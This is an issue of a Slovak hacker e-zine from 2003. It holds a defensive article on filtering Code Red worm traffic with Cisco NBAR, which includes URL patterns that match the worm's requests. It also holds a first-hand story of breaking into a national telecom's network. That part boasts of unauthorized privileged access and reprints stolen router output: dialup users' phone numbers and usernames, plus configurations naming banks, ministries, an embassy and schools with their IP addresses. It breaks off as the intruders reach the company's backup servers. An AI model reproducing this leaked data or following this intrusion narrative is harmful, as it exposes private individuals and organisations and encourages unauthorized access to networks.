cwbe coordinatez:
101
1
102
617302
8639996

ABSOLUT
KYBERIA
permissions
you: r,
system: moderated
net: yes

neurons

stats|by_visit|by_K
source
tiamat
commanders
polls

total descendants::0
total children::0
show[ 2 | 3] flat



::::::::::. :::::::.. :::.,:::::: ::: ... . :
`;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
`]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
$$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

prielom #20, 6.6.2003, prielom(at)hysteria.sk, http://hysteria.sk/prielom/





obsah







intro


minulu sobotu bola v klube spojka vystava robotov. taki rakuski
industrialni umelci. roboty boli take nezmyselne, az to bolo mile. miesali
napoje, fajcili zvaro a tak. je to fasa byt mladym_na_zapade, clovek ma
cas na taketo vysinute konicky. povedali sme si ze ked raz budeme velki,
budeme mlady_na_zapade. budeme stavat nezmyselne roboty a chodit ich
ukazovat do blavy.



vlastne aj motat sa okolo tmavej stranky pocitacoveho sveta je asi dost
vysinuty konicek. mozno preto je na slovensku a v cechach tak malo ludi s
nasim konickom. o to viac treba zjednotit nase hlasy, uz sa tu v intre
pisalo o tom ze ma hysterka ambicie stat sa v ociach ludi hlavnym zdrojom
alternativneho pohladu na veci okolo informatiky. hadam nam to vyjde.
pridajte sa. hladame vselikoho, najviac asi mladych pravnikov, alebo
studentov prava, ktori sa motaju okolo zakonov suvisiacich so svetom
informacnych technologii a maju na veci iny nazor ako zakonodarci a IT
lobby.



inak vsetko po starom, prislo leto, teplo, voda a dalsie prijemne veci s
tym suvisiace. co sa stalo od posledneho prielomu ? hysterka zazila jeden
reboot sposobeny vypadkom elektriny, ale prezili sme to a bezime dalej,
aspon sa mozno konecne po vyse 150 dnovom uptime odhodlame k uz davnejsie
planovanym upgradom serveru.



a chysta sa velka letna hysteria session. ak si nedostal pozvanku a mal si
dostat - ozvi sa.








pajkus, pajkus(at)hysteria.sk

zyx, zyx(at)hysteria.sk



navrat na obsah

co ty na to ? board






Pouzitie NBAR na identifikaciu a kontrolu utokov



Abstract


Network-Base Application Recognition (NBAR) je jedna z vlastnosti Cisco IOS Software,
pomocou ktorej je mozne identifikovat mnoho typov trafficu. Identifikacia je zalozena na
charakteristike trafficu od layer 4 az po layer 7. NBAR umoznuje identifikovat traffic
roznych typov a jeden z nich mozu byt aj utoky. Je samozrejme, ze po uspesnom identifikovani
trafficu ktory vas zaujima, mate uplnu slobodu volby co s nim spravite (napr. drop, obmedzit
sirku pasma,..).



Pre priklad vyuzita v realite moze byt tato vlastnost pouzita na zastavenie CODE RED Worm
uz na perimeter routry vasej siete. (priklad je uvedeny v clanku)



Overview

NBAR je inteligentny engine v Cisco IOS, urceny na klasifikaciu trafficu. Primarne je
urceny pre QoS (Quality of Service), ktoreho ulohou je klasifikovat alebo taggovat traffic
podla definovanych pravidiel este pred tym, nez je spracovany v routry (routing). Na zaklade
klasifikacie moze router klasifikovany traffic rozdelit do tried, ktore maju napriklad
roznu prioritu.



NBAR dokaze klasifikovat siroku oblast aplikacii a protokolov:



    -staticky doplnene TCP a UDP porty

    -non-UDP a non-TCP protocols

    -dynamicky pridelene TCP a UDP porty pocas vzniku spojenia

    -subport klasifikacia, ktora je zalozena na HTTP URL, MIME alebo host names

    -heuristic/holistic klasifikacia, klasifikacia aplikacii zalozena na pakete.




Zoznam nativne podporovanych aplikacii a protokolov, ktore mozu byt klasifikovane najdete na
cisco web stranke. Kedze utoky mozu prichadzat v roznej forme a mozu pouzivat rozne protokoly
a porty ako transportny mechanizmus, je mozne si definovat vlastne aplikacie a protokoly
(filtre) pomocou Protocol Description Language Module (PDLM).



NBAR je pristupny na routroch Cisco 2600 a 3600 od verzie 12.1(4)T a na Cisco 7100 a 7200 od
verzie 12.0(5)XE2.



Takze NBAR moze klasifikovat mnoho typov trafficu napr. utoky a dalsie funkcie ako rate limiting,
access lists mozu byt pouzite na manipulaciu tohto trafficu.




Pouzitie NBAR na kasifikaciu packetov



Pred pouzitim NBAR je nutne aktivovat Cisco Express Forwarding (CEF). NBAR klasifikacia je
definovana pomocou class-map. class-map prikaz je pouzity na definovanie jedneho alebo viacerych
tried trafficu specifikovaneho zadanymi kriteriami.



Nasledujuci priklad je pouzity na klasifikaciu vsetkeho HTTP trafficu urceneho v URL obsahujuci
adresar /test/. * je wildcard, urcujuca ze pred aj za sa mozu vyskytovat rozne znaky.



class-map match-all http_test
match protocol http url "*/test/*"

Dalsi priklad klasifikuje cely Secure HTTP (SHTTP) traffic, ktory pouziva TCP port 443.



class-map match-all http_secure
match protocol secure-http


Dalsi class map spaja predchadzajuce definicie do jednej, ktora moze byt neskor pouzita. Prikaz
match-any znamena, ze traffic zodpovedajuci akemukolvek definovanemo parametru v class-map
klasifikuj do triedy. Prikaz match-all je doraznejsi a znamena, ze traffic musi zodpovedat
vsetkym definovanym parametrom v class-map.



class-map match-any ecommerce
match class-map http_test
match class-map http_secure

Dalsi class-map pouziva access list na klasifikaciu trafficu do triedy.



class-map match-all privatenetwork
match access-group 101
access-list 101 permit ip 10.1.1.0 0.0.0.255 10.2.2.0 0.0.0.255

Dalsi class-map klasifikuje HTTP URL zalozene na MIME, kde MIME moze obsahovat uzivatelsky
definovany textovy retazec.



class-map match-any audio_video
match protocol http mime "audio/*"
match protocol http mime "video/*"

Dalsi class-map klasifikuje URL, ktore obashuje obrazky typu gif,jpg alebo jpeg.



class-map match-any web_images
match protocol http url "*.gif"
match protocol http url "*.jpg|*.jpeg"

Znak | (OR) hra tu istu ulohu ako dva separatne riadky match protocol.




Pouzitie NBAR na registrovanie utokov



Ked uz vieme klasifikovat (selectovat) traffic ktory nas zaujima, je potrebne vediet ako
aplikovat na tento traffic QoS alebo security pravidla. Na tento ucel sluzi prikaz
policy-map.



Tu je zoznam moznosti ako pouzit policy-map s NBAR:



    1.pouzit DSCP alebo ToS s jednoduchym access-listom na oznacenie a dropovanie paketov

    2.pouzit DSCP alebo ToS s policy routing na oznacenie a dropovanie NBAR trafficu

    3.pouzit traffic policy na manazovanie NBAR trafficu



    1.pouzitie DSCP alebo ToS s access-listom na oznacenie a dropovanie paketov


    Pakety klasifikovane NBAR mozu byt oznacene Differentiated Service Code Point (DSCP) alebo

    Type of Service (ToS). Takto oznacene pakety mozu byt potom dropovane pomocu access-listov.

    V nasledujucej konfiguracii klasifikujeme vsetky pakety, ktore obsahuju v HTTP GET default.ida.


    class-map match-any http-hacks
    match protocol http url "*default.ida*"

    Nasledujuci policy-map prikaz nastavi vsetkym klasifikovanym paketom DSCP field 1.



    policy-map mark-inbound-http-hacks
    class http-hacks
    set ip dscp 1

    Prikazom service-policy aplikujeme policy-map na WAN interface pripojeny smerom do internetu.



    interface serial 2/1
    service-policy input mark-inbound-http-hacks

    Tymto je zabezpecene, ze vsetky pakety prichadzjuce z internetu z obsahom v HTTP GET default.ida
    budu mat v DSCP field hodnotu 1. Dalsim prikazom na ethernet interface, ktory je pripojeny
    smerom do privatnej siete, dropneme vsetky pakety ktore maju v DSCP field hodnotu 1.



    interface ethernet 2/0
    ip access-group 105 out
    access-list 105 deny ip any any dscp 1 log
    access-list 105 permit ip any any

    Access-listom 105 sme prikazali aby vsetky odchadzajuce pakety z DSCP field 1 boli zamietnute.
    Podobnym sposobom sa pouziva aj ToS field.




    2.pouzitie DSCP alebo ToS s policy routing na oznacenie alebo dropovanie NBAR trafficu

    Fylozofia pri pouziti policy routing je velmi podobna ako v predchadzajucom priklade. V tomto
    pripade sa ale vyuziva routovanie trafficu do NULL interfacu, kde je traffic dropovany.
    Techniku z NULL interfacom vyuzivaju hlavne ISP a je znama pod menom BLACK-HOLE routing.



    class-map match-any http-hacks
    match protocol http url "*default.ida*"
    policy-map mark-inbound-http-hacks
    class http-hacks
    set ip dscp 1
    access-list 106 permit ip any any dscp 1

    Tento prikaz definuje next-hop interface pre traffic ktory prejde cez access-list 106 do
    NULL interfacu, kde je dropovany.

    route-map test 10
    match ip address 106
    set interface Null 0

    Teraz toto vsetko aplikujeme na serial interface, ktory je pripojeny smerom do internetu.

    interface serial 2/1
    ip policy route-map test
    service-policy input mark-inbound-http-hacks

    Tento priklad zabezpeci, ze akykolvek traffic obsahujuci default.ida bude dropovany v NULL
    interface.


    3.pouzitie traffic policy na manazovanie NBAR trafficu



    Nasledujuci priklad obmedzuje traffic ktory obsahuje v HTTP GET slovo bad na rate do 10KB

    a vsetok traffic nad 10KB bude dropovany.


    class-map match-any http-hacks
    match protocol http url "*/bad*"
    policy-map drop-inbound-http-hacks
    class http-hacks
    police 10000 conform transmit exceed drop
    interface serial 2/1
    service-policy input drop-inbound-http-hacks




Pouzitie PDLM v spojeni z NBAR na detekovanie utokov



Protocol Description Language Module (PDLM) je pouzity pre podporu novych protokolov, ktore
nie su nativne podporovane v NBAR. Umoznuje administratorom definovat vlastne a teda
klasifikovat traffic podla vlastnych predstav. Viac na cisco web stranke, alebo v pripade
zaujmu dalsi clanok :).




Performance dopad na router pri pouziti NBAR



Testy ukazuju hodnotu zvysenia zateze CPU o 12 az 15% pri dlzke paketu 300 byte a dlzke
toku 90Mbps. Tato je priblizne rovnaka pri dynamickych aj statickych portoch definovanych cez
access-list. NBAR vuziva 150 byte-ov DRAM na sledovanie stateful protocol flow. Defaultne NBAR
zaberie 1M pamate pre flow zdroje a povoluje stopovat okolo 5000 statful flows bez zabratia
vacsej pamate. Samozrejme ze ak potrebuje tak si automaticky zoberie viac memory.




Priklad ako zastavit Code Red Worm



Code Red worm utoci pomocou HTTP requestov na microsoft servre. Cez URL sa pokusa pristupovat
k suborom cmd.exe, root.exe a default.ida. Pomocou NBAR funkcie mozme tento traffic klasifikovat.
Dolezite je ale vediet ze NBAR nevie klasifikovat pakety, ktore su castou pipeline requestu.
Pipeline requesty su menej pouzivany typ HTTP requestu (Code Red Worm II).



class-map match-any codered
match protocol http url "*default.ida*"
match protocol http url "*cmd.exe*"
match protocol http url "*root.exe*"
policy-map mark-codered
class codered
set ip dscp 1
interface serial 2/1
service-policy input mark-codered
access-list 100 deny ip any any dscp 1
access-list 100 permit ip any any
interface ethernet 1/0
access-group 100 out



zaver



NBAR moze byt jeden z velmi dolezitych nastrojov v rukach administratorov nielen ISP ale aj
privatnych sieti. Do istej miery je pouzitelny ako nahrada za Network IDS systemy. Pre
maximalne vyuzitie NBAR je potrebne sa ale zamysliet v ktorych miestach siete ho aplikovat a
aky traffic sledovat.




Erik Kirschner, kirschner(at)pobox.sk





navrat na obsah

co ty na to ? board






Balada o velkej teleko ropuche



Uvod




Bola raz v malej krajinke v strede europy jedna mala telekomunikacna spolocnost.
Mala velku siet, vela zamestnancov, vela zakaznikov, vela reklamy, vela... no vlastne bolo vela
toho coho vsetkeho mala vela :). Firma si zila svojim zivotom, malo kto ju mal rad, ale napriek
tomu stastne a veselo profitovala a rastla a rastla. Ako tak rastla na svojom poli posobnosti,
tak vznikala a rastla aj jej IP siet. Poskytovala sluzby vsetkym moznym jednotlivcom a vsetkym
moznym organizaciam. A na tejto spoocnosti zacinalo byt pomaly ale isto zavislich viac a viac
ludi a organizacii...




Jemne pretrepeme a nechame 10 minut kvasit




Jednoduchym prikladom su napriklad take skoly spominanej malinkej krajinky v srdci europy.
Kazda skola dostala svoje pripojenie k internetu a tak pomaly rastol projekt zvany infovek. V ramci
projektu povznikalo par routerov, ktore vlastni tato nasa malinka spolocnost. Kedze kazdy chce mat
jednoduchy pristup vsade a k vsetkemu tak sa clovek (mozno cloveci... :)) rozhodli ze preco nedat
vsade rovnakych uzivatelov a hesla ked uz to ma byt take jednoduche a prakticke.




Lenze...




Nasa firma bohuzial pozabudla.. alebo jej to nemal kto povedat ? To asi tu a teraz nevyriesime.
Jednoducho nikoho nenapadlo ze po svete je velmi vela ludi co nemaju co robit a tak vymyslaju najroznejsie veci.
Jednou takou vecou je napriklad hrabanie sa v sietach roznych malinkych firiem, ktore nechavaju k dispozicii
svoje male bezvyznamne routre. Ved nech sa studenti ucia ked si nemozu dovolit kupit si take veci domov :).
A tak prisiel clovek.. alebo ludia ? To uz si nikto dnes nepamata... Ktory zahadnym sposobom ziskali pristup
na vsetky routery tohoto projektu "internet do skol" ci ako sa to volalo. To by nebolo nic zle, ved co moze
taky bezny clovek robit s routerom na ktorom nema ani enable mod.




Vyhrejeme trubu na 150 stupnov




A tak si niekto obcas pobehal po routeroch a skusal kam vsade sa dostane, proste taky vikendovy sport
niekto ide na pokec.sk niekto sa connectuje po routeroch teleko ropuch. Connectuje sa a connectuje az jedneho neskoreho
horuceho dna zisti ze sa connectol na nieco co uz nevyzera celkom ako nejaky obycajny router ktory ma ledva 2,5 interfejsu.
Celkom netusi kam sa to vlastne pripojil, lebo taku vec este nikdy nevidel :) A tak skuma a po par minutach zisti
ze dana vec... co to len moze byt ? ma nejake prikazy ako "show isdn active" a ako tak pozera co to ten prikaz vypisuje
tak tam vidi rozne mena a telefonne cisla a co ja viem co este vsetko. A ked ten clovek len tak nahodou bezi cez ISDN
tak s prekvapenim skonstatuje nieco typu: "hm... to je moj user a moje telefonne cislo" :). Takze uz je cloviecikovi
celkom jasne kam sa mu to uplnou nahodou podarilo pripojit. A tak pozera a hlada dalej a rozmysla ako by to mohol vyuzit.
Tu uz to nebolo ale take "easy" ako na routeroch po ktorych lozil clovek predtym. Tu uz mal aj enable mod a s takym
niecim uz sa daju podnikat nejake veci. (minimalne reload a podobne neprijemnosti :)



ako take nico vyzeralo ? maly priklad:






User Access Verification

Username: to nie je az tak podstatne ;)
Password: to uz vobec nie je podstatne

STIP_KE_AD1>enable
Password:
STIP_KE_AD1#

A co to tu mozme vlastne pouzivat za prikazy ?

ke-nas-1#show isdn active
--------------------------------------------------------------------------------
ISDN ACTIVE CALLS
--------------------------------------------------------------------------------
Call Calling Called Remote Seconds Seconds Seconds Charges
Type Number Number Name Used Left Idle Units/Currency
--------------------------------------------------------------------------------
In 0566684810 ---N/A--- +.c530.84ec +08616 - -
In 0557298252 ---N/A--- 1.2.3.4 31112 - -
In 0556950282 ---N/A--- dncmetal55 18981 - -
In 0557288831 ---N/A--- siulmiku55 13991 - -
In 0557298381 ---N/A--- dominika95 13728 - -
In 0554648323 ---N/A--- vlaky 12192 - -
In 0557292002 ---N/A--- turlvlad95 10769 - -
In 0557291741 ---N/A--- +0002800300 10548 - -
In 0566281662 ---N/A--- patakeva94 10423 - -
In 0566481150 ---N/A--- 10304 - -
In 0557998098 ---N/A--- +ab0b10036d 9516 - -
In 0556742129 ---N/A--- 9018 - -
In 0557999147 ---N/A--- fatrajsk46 8918 - -
In 0514583145 ---N/A--- 8533 - -
In 0566882921 ---N/A--- ondojana94 8419 - -
In 0566384468 ---N/A--- 8267 - -
In 0556450325 ---N/A--- 7307 - -
In 0556450408 ---N/A--- 7270 - -
In 0556336018 ---N/A--- strakala55 7090 - -
In 0556336408 ---N/A--- tomkamil55 6895 - -
In 0554662412 ---N/A--- gedeonvi55 6825 - -
In 0566425761 ---N/A--- 6685 - -
In 0556970081 ---N/A--- 6647 - -
In 0566790030 ---N/A--- 6632 - -
In 0554665442 ---N/A--- 6609 - -
In 0556744293 ---N/A--- 6561 - -
In 0566281691 ---N/A--- sabovlad94 6241 - -
In 0566881031 ---N/A--- 6225 - -
In 0557296391 ---N/A--- +0002800300 6135 - -
In 0566420903 ---N/A--- 6090 - -
In 0556941300 ---N/A--- semjanpa55 6077 - -
In 0557896032 ---N/A--- medicale95 6068 - -
In 0556711318 ---N/A--- 5978 - -
In 0556257237 ---N/A--- karolloh95 5955 - -
In 0566888083 ---N/A--- mikostef94 5873 - -
In 0556325568 ---N/A--- liptbria95 5742 - -
In 0566682260 ---N/A--- salajoze94 5713 - -
...

fiha to vyzera ako nejaki dialup usery :)


a hned ponukame maly vysek z "sh run":


aaa new-model
aaa authentication password-prompt "Enter Your Access Password:"
aaa authentication username-prompt "Welcome in ISDN ST_OnLine, Enter Your Username:"


teraz uz mu bolo jasne ze sa jedna o "nejaky" ISDN dialup
co je to to ISDN ST_OnLine ? nie je to to na co sme nuteni kazdy den pozerat na billboardoch, v televizii, pocuvat
o tom v radii a neviem kde vsade ? Asi to s tym nieco bude mat spolocne. Prve co kazdeho cloveka pri takejto spolocnosti napadne
je co tak zariadit aby sa ST_OnLine zmenilo na ST_OffLine ? Ved to nie je problem mame full access na vsetky ISDN dialupy
tak ich staci pozhadzovat. Ale tu by zabava skoncila a my sme predsa dobraci a tak radsej budeme dalej lozit po sieti
a hladat ci sa nenajde nieco viac (a ono sa toho este vela vela vela najde ;).




Co dalej?


Ked mame uz niekde pristup, nebolo by zle poobzerat sa ako to je cele nakonfigurovane a ako to vlastne funguje,
ako je co s cim poprepajane atd. Dalsim krokom je logicky poukladat poctivo vsetky konfiguracie a pocas dlhych
vecerov namiesto romanov citat configy cisco routerov. A vzhladom na to ze clovek (zvlast ten nas) je tvor lenivy
tak to aj nejaky ten cas trvalo. Ale naslo sa vela dalsich pouzitelnych veci (taky user ehmehm s ktorym sa dostaneme
rovno do enable modu na vacsine uz nie malych bezvyznamnych routerov infoveku ale velkych dost podstatnych routerov.
Takze uz nemame jedneho usera, ale hned dvoch (univerzalnych). Binarna sxizofrenia zacina.. :)


username (ehmehm) password 7 (ehmehm)


Zrazu sme sa s nasim malym pribehom dostali o kusok dalej. "(ehmehm)" bol user ktory bol vlastne klucom
k celemu zvysku siete. Nasi dobrodruhovia sa s nim mohli uz pripajat takmer vsade (cca 90% siete). Pomaly si zaciname klast
otazku preco firma ktora ma tolko zakaznikov a tolko penazi absolutne ignoruje to ze jej velmi dlhu dobu lozi po sieti
este nejaky paralelny admin/paralelni admini. Ale to znova my riesit v nasej story nebudeme ;).
Tak zrazu ma niekto v rukach celu velku siet a nevie celkom co s nou lebo je tak velka ze sa v nej musi chvilu orientovat.
V ramci relaxacie a pasivity sa zacneme len tak telnetovat kade tade a zistujeme ze sa na vacsinu miest s nasim novym
userom dostavame rovno do enable modu. Teraz by sa hodilo dalsich par prikladov kam to vlastne mame pristup:



Trying 192.108.148.30...
Connected to Telecom-gw.six.sk (192.108.148.30).
Escape character is '^]'.


The Slovak Internet Exchange

Slovak Technical University Computer Centre

Bratislava, SLOVAK REPUBLIC


Gateway to Slovak Telecom




User Access Verification

Username: (ehmehm)
Password:
ba-six-1>

to bola taka mensia ceresnicka (tortu treba jest od vrchu ;)) a teraz dalej. Dobra vec co nasa firma robi je to, ze si
ku kazdemu interfejsu napise description, takze mame slusny prehlad o tom kam mame pristup, resp. kto vsetko su jej zakaznici.
napriklad (ostavame pripojeni tam kde sme boli o par riadkov vyssie...):

len male vyseky z "sh interf"

Hardware is C6k 1000Mb 802.3, address is 0001.c9db.4dcc (bia 0001.c9db.4dcc)
Description: ISL trunk to cat2900, BA-Jarabinkova, 1.posch.

Hardware is GigabitEthernet Interface, address is 0009.e979.724a (bia 0009.e979.724a)
Description: ADSL test segment


teraz prejdeme na dalsi:

Description: Line To Matsushita Krompachy, KRMP-SNVS NP501

Hardware is 4T/MC68360
Description: Line to Maurice Ward & Co, SNVS-SNVS NP508

Hardware is 4T/MC68360
Description: SEZ Krompachy Krompachy-SNVS NP502

Hardware is MPA-E1
Description: line to Kosice via SDH (ke-snvs np2)


dalsi priklad:

interface Serial2/2
description VUB-2nd line, BA-BA NP 539
bandwidth 1024
ip address 212.5.209.153 255.255.255.252
no ip directed-broadcast
encapsulation ppp
no ip mroute-cache
!
interface Serial2/3
description Line to CMSS_BA Gateway
bandwidth 1024
ip address 195.146.128.181 255.255.255.252
no ip directed-broadcast
no ip mroute-cache
clockrate 1007616
!
interface Serial3/0
description Line to Allianz BA-BA NP545
bandwidth 512
ip address 212.5.209.189 255.255.255.252
no ip directed-broadcast
encapsulation ppp
no ip mroute-cache
!
interface Serial3/1
description Statna pokladnica NP1423 (BA - BA 30n5046)
bandwidth 2048
ip address 10.1.10.1 255.255.255.252
ip access-group 77 out
no ip directed-broadcast
encapsulation ppp
no ip mroute-cache
!
interface Serial3/2.1 point-to-point
description BA-BA FRP143 - DLCI 205 - Zakladna skola (sluch. post.)
bandwidth 64
...

dalsie interfejsi...
(skoly vynechavame tych je vela :)

interface Serial4/0:1
description Fond ochrany vkladov BA - BA NP 590 3ts
bandwidth 64
ip address 212.5.209.45 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial4/0:3
description Line to HTC BA-BA NP516 TS 7-10
bandwidth 256
ip address 195.146.128.205 255.255.255.252
no ip directed-broadcast
encapsulation ppp
load-interval 180
!
interface Serial4/0:4
description Tronet - ministerstvo BA-BA NP580
bandwidth 256
ip address 212.5.209.233 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial4/0:5
description metalurg BA-BA NP 503 TS 15-16
bandwidth 128
ip address 212.5.209.17 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial4/0:6
description docasny okruh BRATISLAVA-STUPAVA NP9992 ts 29-30
no ip address
no ip directed-broadcast
load-interval 360
shutdown
!
interface Serial4/0:7
description Sutkova Lucia BA - BA NP 584 e1 4/0 17-20TS
bandwidth 256
ip address 212.5.209.253 255.255.255.252
no ip directed-broadcast
encapsulation ppp
interface Serial4/0:9
description Velvyslanectvo Chorvatskej republiky BA-BA NP586
bandwidth 128
ip address 212.5.209.37 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial4/0:10
description line to Fond pre podporu ZO, BA-BA NP509 ts 24-27
bandwidth 256
ip address 195.146.128.225 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial4/0:23
description Autorizacne centrum BA-BA NP589
bandwidth 64
ip address 213.81.239.21 255.255.255.252
no ip directed-broadcast
encapsulation ppp
interface Serial5/1:0
description Line to PriNet D-Zone BA-BA NP801
bandwidth 2048
ip address 195.146.128.245 255.255.255.252
no ip directed-broadcast
encapsulation ppp
load-interval 240
priority-group 1
!
interface Serial5/2:0
description Line to VUB VPDN BA-BA NP1382
bandwidth 2048
ip address 212.5.209.225 255.255.255.252
no ip directed-broadcast
encapsulation ppp
load-interval 360
no fair-queue
!
interface Serial5/3:0
description Line to TV Markiza BA-BA NP581 Slov. telev. spolocnost
bandwidth 2048
ip address 212.5.209.77 255.255.255.252
no ip directed-broadcast
encapsulation ppp
load-interval 360
no fair-queue
!
interface Serial5/4:0
description truckshow
ip address 212.5.209.69 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial5/5:0
description www.markiza.sk BA - BA NP 582
bandwidth 2048
no ip address
no ip directed-broadcast
encapsulation ppp
no ip route-cache cef
no ip route-cache
load-interval 30
no fair-queue
ppp multilink
multilink-group 1
!
interface Serial5/6:0
description www.markiza.sk#2 BA - BA NP 583
bandwidth 2048
no ip address
no ip directed-broadcast
encapsulation ppp
no ip route-cache cef
no ip route-cache
load-interval 30
no fair-queue
ppp multilink
multilink-group 1
!
interface Serial5/7:0
description docasna linka cofax ba-ba np 998
bandwidth 2048
no ip address
no ip directed-broadcast
encapsulation ppp
load-interval 360
shutdown

mat uplny pristup niekde kde su taketo linky ma iste svoje vyhody.. ake to uz nechavame na vasej fantazii ;)

a prikladame dalsie, tentokrat z bb-ce-1:


interface Ethernet1/1
description New line to MINV BB, 1024kbps, cisco2600, ZS, NP503
ip address 195.146.132.233 255.255.255.252
no ip redirects
no ip directed-broadcast
!
interface Ethernet1/2
description backup WebHouse (Cat1 2/24 VLAN5)
ip address 212.5.216.61 255.255.255.0
ip access-group 107 out
no ip redirects
no ip directed-broadcast
standby priority 90
standby preempt
standby ip 212.5.216.1
!
interface Ethernet1/3
description Managment (BB-Cat1 2/19)
ip address 195.146.132.16 255.255.255.224
no ip directed-broadcast
!
interface Serial2/0
description Line to Softip Enduser (NP502 BB-BB)
ip address 195.146.132.249 255.255.255.252
no ip directed-broadcast
encapsulation ppp
bandwidth 512
custom-queue-list 1
!
interface Serial2/1
description #line for VPDN-Isternet bb-bb np30
ip address 195.146.132.245 255.255.255.252
no ip directed-broadcast
encapsulation ppp
bandwidth 1024
shutdown
!
interface Serial2/2
description Line to Slov.Agent.Ziv.Prostr. NP504(n120c37p0-n128c3p1)
ip address 195.146.132.241 255.255.255.252
encapsulation ppp
bandwidth 512
!
interface Serial2/3
no ip address
bandwidth 128
shutdown
priority-group 9
!
interface Serial3/0
description line to ST_BB
ip address 195.146.132.225 255.255.255.252
ip access-group 119 in
no ip directed-broadcast
encapsulation ppp
clockrate 125000
!
interface Serial3/1
description #line for VPDN-Isternet bb-bb np30
ip address 195.146.132.245 255.255.255.252
no ip directed-broadcast
encapsulation ppp
bandwidth 2048
no fair-queue
!

teraz vynimocne skoly nevynechame...

!
interface Serial3/2.1 point-to-point
description BB-BB FRP35 - DLCI 200 - Gymnazium
ip address 213.81.175.1 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 200
!
interface Serial3/2.2 point-to-point
description BB-BREZ FRP11 - DLCI 201 - Zakladna skola
ip address 213.81.175.5 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 201
!
interface Serial3/2.3 point-to-point
description satellite - DLCI 202 - Zakladna skola (mad.)
ip address 213.81.175.9 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 202
!
interface Serial3/2.4 point-to-point
description BB-RIMS FRP15 - DLCI 203 - Zakladna skola
ip address 213.81.175.13 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 203
!
interface Serial3/2.5 point-to-point
description BB-RIMS FRP16 - DLCI 204 - Zakladna skola
ip address 213.81.175.17 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 204
!
interface Serial3/2.6 point-to-point
description VINI-ZVOL FRP10 - DLCI 205 - Zakladna skola (mad.)
ip address 213.81.175.21 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 205
!
interface Serial3/2.7 point-to-point
description ZVOL-ZARN FRP10 - DLCI 206 - Zakladna skola
ip address 213.81.175.25 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 206
!
interface Serial3/2.8 point-to-point
description BB-ZVOL FRP13 - DLCI 207 - Stredna priemyselna skola
ip address 213.81.175.29 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 207
!
interface Serial3/2.10 point-to-point
description BB-BB FRP36 - DLCI 209 - MC Banska Bystrica
ip address 213.81.175.37 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 209
!
interface Serial3/2.11 point-to-point
description BB-TISOVEC FRPxx DLCI 210 - Evan. gymn.
ip address 213.81.175.109 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 210
!
interface Serial3/2.12 point-to-point
description BB-BS FRP11 id301 SPS Akademicka Banska St
ip unnumbered Loopback0
no ip directed-broadcast
bandwidth 128
frame-relay interface-dlci 214
!
interface Serial3/2.13 point-to-point
description BB-BS FRP10 id1 Gymnazium Gwerkovej Banska St
ip unnumbered Loopback0
no ip directed-broadcast
bandwidth 128
frame-relay interface-dlci 215
!
interface Serial3/2.14 point-to-point
description BB-FI FRP10 id24 Gymnazium Nam.padl. Filakovo
ip unnumbered Loopback0
no ip directed-broadcast
bandwidth 128
frame-relay interface-dlci 217
!
interface Serial3/2.21 point-to-point
description id322 SPS Laskomerskeho 3 Brezno
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 211
!
interface Serial3/2.22 point-to-point
description id405 ZS K. Raposa Skolska 5 Brezno
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 212
!
interface Serial3/2.26 point-to-point
description id457 OA Lipova 8 Handlova
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 220
!
interface Serial3/2.27 point-to-point
description id338 OA Jarmocna 30 Modry Kamen
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 222
!
interface Serial3/2.28 point-to-point
description id412 SOU polnohospodarske + DOS Osvety 17 Nova Bana
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 219
!
interface Serial3/2.29 point-to-point
description id553 II. ZS Sturova 12 Detva
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 221
!
interface Serial3/3
description link to STIP_BB_CAR S0/0
ip address 195.146.132.177 255.255.255.252
encapsulation ppp
ip ospf cost 11300
no fair-queue
clockrate 2000000
!
interface Serial4/1:1
description Sluzobny BB-BB NP516 3697/02/40
ip address 195.146.132.221 255.255.255.252
encapsulation ppp
bandwidth 64
!
interface Serial4/1:2
description BB samospravny kraj NP517 BB-BB
ip address 195.146.132.229 255.255.255.252
encapsulation ppp
bandwidth 128
!
interface Serial4/1:5
description VPDN Slovenska posta, NP505, BB-BB TS4-5, HDLC
ip address 195.146.132.213 255.255.255.252
bandwidth 128

atd.
tak to bol maly strucny prehlad toho co sa v tejto spolocnosti okrem vela inych veci nachadzalo,
mozno este aj nachadza :).


Kapitanov dennik, hviezdny datum XY (od cisca k unixom)



Teraz by sme mohli prejst od tych skaredych velkych drahych cisco routerov k nejakym
peknym milym a este drahsim SUNovskym serverom. V telecome asi strasne radi backupuju
a najroznejsie backupy nechavaju len tak povalovat na serveroch (konkretne na logserver.telecom.sk)
pochopitelne z pravami rw pre vlastnika a r pre groupu a ostatnych. Tak ako dalej uvidime
v tychto backupoch sa da najst kade co :). K SUNom bol pristup bohuzial len cez ftp s "ehmehm" userom,
ale dalo sa to velmi jednoducho napravit:



